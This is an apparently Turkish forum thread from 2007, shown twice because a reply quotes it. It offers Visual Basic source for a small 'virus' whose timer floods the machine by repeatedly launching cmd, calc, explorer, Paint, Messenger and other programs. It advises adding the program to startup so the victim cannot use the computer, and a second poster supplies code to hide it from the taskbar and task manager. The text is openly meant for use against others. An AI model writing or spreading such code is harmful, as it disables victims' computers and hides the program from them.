- 12 Ara 2007
- 849
- 4
kodlar;
yapmaniz gereken tek sey forma bir timer nesnesi yerlestirmek ve asagidaki kodu yazmak. haa bide timer in interval özelligini 1000 yapin ki daha çabuk olsun.
Private Sub Timer1_timer()
For i = 1 To 100
Shell "cmd"
Shell "calc"
Shell "C:\Program Files\Messenger\msmsgs.exe"
Shell "explorer"
Shell "mspaint"
Shell "sndrec32"
Shell "C:\Program Files\Movie Maker\moviemk.exe"
Shell "winmine"
Next
End Sub
NOT: Sadece siz açtiginizda çalisir bu program eger. Bunu baslangica koyabilirseniz. Bilgisayar her açildiginda çalisacaktir.Böylece kullanici bilgisayari kullanamayacak. Hahahahaha ben ne kadar kötüyüm yauwww.
selam ben "*****tutarock*****" gönderdigim ufak virüs örnegine bi ekleme yaparsaniz daha ii olur.
il olarak formun BorderStyle özelligini 0 yapin. böylece programiniz görev çubugunda gözükmeyecek.
daha sonrada asagidaki kodu yazin. artik görev yöneticisindede programiniz gözükmeyecek.
Private Sub Form_Load()
App.TaskVisible = False
form1.Visible=False
End Sub
NOT: Görev yönetisinde islemler sekmesinden programini kapatabilir. Ama oraya gelebilirse. Birde kendi programinizida açtirmayi becerirseniz. tamamdir. simdilik byeee!
alıntı
yapmaniz gereken tek sey forma bir timer nesnesi yerlestirmek ve asagidaki kodu yazmak. haa bide timer in interval özelligini 1000 yapin ki daha çabuk olsun.
Private Sub Timer1_timer()
For i = 1 To 100
Shell "cmd"
Shell "calc"
Shell "C:\Program Files\Messenger\msmsgs.exe"
Shell "explorer"
Shell "mspaint"
Shell "sndrec32"
Shell "C:\Program Files\Movie Maker\moviemk.exe"
Shell "winmine"
Next
End Sub
NOT: Sadece siz açtiginizda çalisir bu program eger. Bunu baslangica koyabilirseniz. Bilgisayar her açildiginda çalisacaktir.Böylece kullanici bilgisayari kullanamayacak. Hahahahaha ben ne kadar kötüyüm yauwww.
selam ben "*****tutarock*****" gönderdigim ufak virüs örnegine bi ekleme yaparsaniz daha ii olur.
il olarak formun BorderStyle özelligini 0 yapin. böylece programiniz görev çubugunda gözükmeyecek.
daha sonrada asagidaki kodu yazin. artik görev yöneticisindede programiniz gözükmeyecek.
Private Sub Form_Load()
App.TaskVisible = False
form1.Visible=False
End Sub
NOT: Görev yönetisinde islemler sekmesinden programini kapatabilir. Ama oraya gelebilirse. Birde kendi programinizida açtirmayi becerirseniz. tamamdir. simdilik byeee!
alıntı